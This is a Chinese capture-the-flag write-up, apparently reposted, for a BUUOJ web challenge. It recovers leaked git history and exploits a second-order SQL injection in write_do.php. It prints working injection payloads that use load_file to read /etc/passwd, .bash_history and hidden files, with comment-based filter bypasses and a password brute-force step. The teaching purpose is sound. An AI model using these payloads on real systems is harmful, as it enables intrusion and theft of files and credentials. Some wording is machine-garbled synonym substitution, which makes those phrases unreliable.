打开标题,如下图:
起首进行信息网络:
扫描网站目录,可以看到存在git走漏。
这里直接用githacker把走漏的部分下载下来。
- 下载地点:https://github.com/WangYihang/GitHacker
- 这个工具在linux体系上比较好用,按工具拷贝进去大概直接下载,然后输入下令就可以使用。
- githacker --url http://2b661b6a-7be0-408c-84e4-0aa48b856bee.node4.buuoj.cn:81/ --output-folder 123 #(123是个目录,你可以随便起名)
复制代码
脱下源码之后,你会发现一个write_do.php文件,咱们来看一下文件内容
- <?php
- include "mysql.php";
- session_start();
- if($_SESSION['login'] != 'yes'){
- header("Location: ./login.php");
- die();
- }
- if(isset($_GET['do'])){
- switch ($_GET['do'])
- {
- case 'write':
- break;
- case 'comment':
- break;
- default:
- header("Location: ./index.php");
- }
- }
- else{
- header("Location: ./index.php");
- }
- ?>
复制代码 感觉怪怪的,应该是少了点什么,所以说我们检察是否存在其他版本:
可以每次提交都恢复一次,大概说咱们直接从最早的开始恢复,最早的提交就是HEAD指针的位置
在版本为e5b2a2443c2b6d395d06960123142bc91123148c时可以找到write_do.php的更加完全版本的代码。
恢复下令如下:
- git reset --hard e5b2a2443c2b6d395d06960123142bc91123148c
复制代码

下面是复原后的代码
- //注释是我自己加的哦
- <?php
- include "mysql.php";
- session_start();
- if($_SESSION['login'] != 'yes'){
- header("Location: ./login.php");
- die();
- }
- if(isset($_GET['do'])){
- switch ($_GET['do'])
- {
- //写入
- case 'write':
- //利用category字段使用payload,重点语句
- $category = addslashes($_POST['category']);//在每个双引号(")前添加反斜杠
- $title = addslashes($_POST['title']);
- $content = addslashes($_POST['content']);
- //sql,重点语句
- $sql = "insert into board
- set category = '$category',
- title = '$title',
- content = '$content'";
- $result = mysql_query($sql);
- header("Location: ./index.php");
- break;
- //执行
- case 'comment':
- $bo_id = addslashes($_POST['bo_id']);
- $sql = "select category from board where id='$bo_id'";
- $result = mysql_query($sql);
- $num = mysql_num_rows($result);
- if($num>0){
- //重点语句,mysql_fetch_array直接调用category,造成二次注入。
- $category = mysql_fetch_array($result)['category'];
- $content = addslashes($_POST['content']);
- $sql = "insert into comment
- set category = '$category',
- content = '$content',
- bo_id = '$bo_id'";
- $result = mysql_query($sql);
- }
- header("Location: ./comment.php?id=$bo_id");
- break;
- default:
- header("Location: ./index.php");
- }
- }
- else{
- header("Location: ./index.php");
- }
- ?>
- /* 这几个重点语句的含义:他先将$category的值addslashes了,放入数据库(这时addslashes加的反斜杠被删除了),但是又将他拿了出来,存在二次注入
- 也就是说由于addslashes会将一些符号转义但是在sql转义的符号在储存后与addslashes前并没有什么改变(换句话说\'在存入sql后,读取出来仍会是')。所以我们可以写入数据,再通过这一特性将'逃逸出来,即二次注入。
- 当我们构造payload的时候只能使用content,代码审计得到的*/
复制代码 接下来进行代码审计,发现存在二次注入
为什么会发生二次注入?
- 第一次注入的机会:在 case 'write' 的部分,攻击者可以通过 POST 请求提交包含恶意 SQL 代码的 category 字段。例如,攻击者可以提交如下 payload:
- category = 'sports');--
- '
复制代码 因为该部分的输入只经过了 addslashes() 处理,该函数仅在单引号、双引号、反斜杠等特殊字符前加反斜杠,但无法完全防止复杂的 SQL 注入。此时,恶意的 category 字段值会被存储到数据库中。
- 二次注入的机会:当在 case 'comment' 中,步伐再次从数据库中读取存储的 category 值时,通过 mysql_fetch_array() 直接将存储的 category 值嵌入到新的 SQL 语句中。由于在读取数据库内容时没有进行额外的处理,这就为攻击者提供了第二次实验恶意 SQL 代码的机会。
例如,假如数据库中存储的 category 值为 sports');--,在注入时:
- $sql = "insert into comment set category = 'sports');--
- '
- , content = '$content', bo_id = '$bo_id'";
复制代码 这将导致后续的 SQL 语句被解释掉,从而可能破坏数据库查询的逻辑,甚至导致下令实验或走漏数据。
利用 /**/ 的详细原因:
- 绕过过滤机制:
- 一些防御机制可能针对常见的 SQL 关键字(如 AND、OR)进行简单的过滤和检测。
- 使用 /**/ 可以分割关键字。例如,攻击者可以构造雷同如下的 payload:
在这种情况下,OR '1'='1' 成为了实验的条件,使得注入乐成,但假如体系对单词 OR 或其他关键字有过滤,解释符号则可以绕过这些防御。
- 构造复杂的SQL语句:
- 使用 /**/ 可以拆分 SQL 语句,克制引起体系过滤规则的警觉。
- 例如,AND/**/1=1 与 AND 1=1 效果雷同,但前者可以绕过一些简单的防御机制,如仅检测 AND 或 OR 关键字是否存在。
- 解释掉剩余的 SQL 代码:
- 在 SQL 注入中,解释符号可以用于提前竣事 SQL 语句。例如,攻击者可以通过构造雷同如下的语句:
大概使用:
- sports'/**/OR/**/'1'='1
- '/**/;--
复制代码 来将后续的 SQL 代码解释掉,从而使得注入代码顺利实验,克制后续逻辑的影响。
- /* ... */:这是 MySQL 和很多其他SQL数据库支持的块解释符号,可以解释掉一段SQL语句中的内容。
- #:这是 MySQL 的单行解释符号,作用雷同于 --,表现在它之后的内容都会被解释掉,直到行尾。
通过组合 */#,攻击者可以有效地竣事SQL语句,并解释掉剩余的SQL代码,这在SQL注入中非经常见。
至此二次注入部分完毕
然后点击发布,跳转到login.php,所以说需要先登录进去,才气使用此功能
已经给出了账号密码的一部分,只需要爆破密码的后三位即可,这里密码为“zhangwei666”,随后便可以使用此功能进行发帖
先写入在写入功能写入payload,在参数category中content=database()部分的database()可以替换为其他SQL查询语句大概函数,payload其余部分则可视为固定。
接着在评论功能触发二次注入*/#(点击'详细',然后在提交留言处再次进行注入),同样在此的payload也视为固定(注意项目标SQL语句为多行,所以需要#和/**/配合使用)。
得到回显
实验读文件 ',content=(load_file("/etc/passwd")),/*; 有些wp 的load_file前面加了select,因为数据库查找留言内容时前面已经加了select,所以可以不用加select ',content=(load_file("/etc/passwd")),/* */#
得到
发现除了root用户以外,只有www这个用户在/home/www目录下用了/bin/bash
检察/home/www/.bash_history.bash_history :保存了当前用户使用过的历史下令,方便查找。
- ',content=(load_file("/home/www/.bash_history")),/*
- */#
复制代码
看到linux实验过的下令:
1.跳转到tmp目录
2.用unzip解压 html.zip ,这时会产生一个html的文件夹
3.rm 删除了html.zip
4.cp 将html 文件夹拷贝在 /var/www 目录下
5.跳转到 /var/html 目录下
6.删除了.DS_Store文件
7.启动 web服务
接下来看看文件内里写了什么
- ',content=(load_file("/tmp/html/.DS_Store")),/*
- */#
复制代码
.DS_Store经常会有一些不可见的字符,使用hex函数对其进行16进制转换
- ',content=(hex(load_file("/tmp/html/.DS_Store"))),/*
- */#
复制代码
给他转换成ascll
- Bud1
- strapIl bootstrapIlocblobF(ÿÿÿÿÿÿcomment.phpIlocblobÌ(ÿÿcssIlocblobR(ÿÿÿÿÿÿflag_8946e1ff1ee3e40f.phpIlocblobØ(ÿÿÿÿÿÿfontsIlocblobFÿÿÿÿÿÿ index.phpIlocblobÌÿÿjsIlocblobRÿÿÿÿÿÿ login.phpIlocblobØÿÿÿÿÿÿ mysql.phpIlocblobFÿÿÿÿÿÿvendorIlocblobÌÿÿÿÿÿÿwrite_do.phpIlocblobRÿÿÿÿÿÿ @ @ @ @E
- DSDB ` @ @ @
复制代码 看到内里有flag_8946e1ff1ee3e40f.php
实验检察/tmp/html/flag_8946e1ff1ee3e40f.php
- ',content=(load_file("/tmp/html/flag_8946e1ff1ee3e40f.php")),/*
- */#
复制代码 但是发现什么都没有得到,实验与前次方法雷同,加上hex
- ',content=(hex(load_file("/tmp/html/flag_8946e1ff1ee3e40f.php"))),/*
- */#
复制代码
得到flag,但是居然是假的(/死亡微笑)
得到了一个flag,但是很遗憾他是假的,但是咱们的方法是正确的,所以检察/var/www/html/flag_8946e1ff1ee3e40f.php是否为真的flag
- ',content=(hex(load_file("/var/www/html/flag_8946e1ff1ee3e40f.php"))),/*
- */#
复制代码
这个才是真的。
考点总结
考点总结:
1.文件走漏
起首考察的就是git文件走漏,我们可以利用githack/githacker脚本来恢复历史版本和下载git文件。
ps:git log -all 恢复历史文件。
2.sql二次注入
在本题中,服务器端只对用传来的数据进行了过滤。sql内部的数据没有进行过滤。使用函数进行转义\'存入sql后,读取出来仍会是'。这样'就逃逸出来。
3.sql文件读取
有读权限那么可以通过load_file函数来读取文件,同时linux 下有很多敏感文件,比如:.bash_history存放了历史实验下令、/etc/passwd存放了用户信息、/etc/shadow存放用户密码且一般情况下不可读的。
4.linux 下令
在本题中考了写linux下令的细节,如cp会保存原文件(这个真的很细),unzip 解压时默认在当前路径下生成解压出来的文件。
5.分析hex数据
可以将数据转为16进制再通过hexwin写入文件还原从而得到一些内容特别的文件或数据。
感谢各位师傅的耐烦观看。
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。 |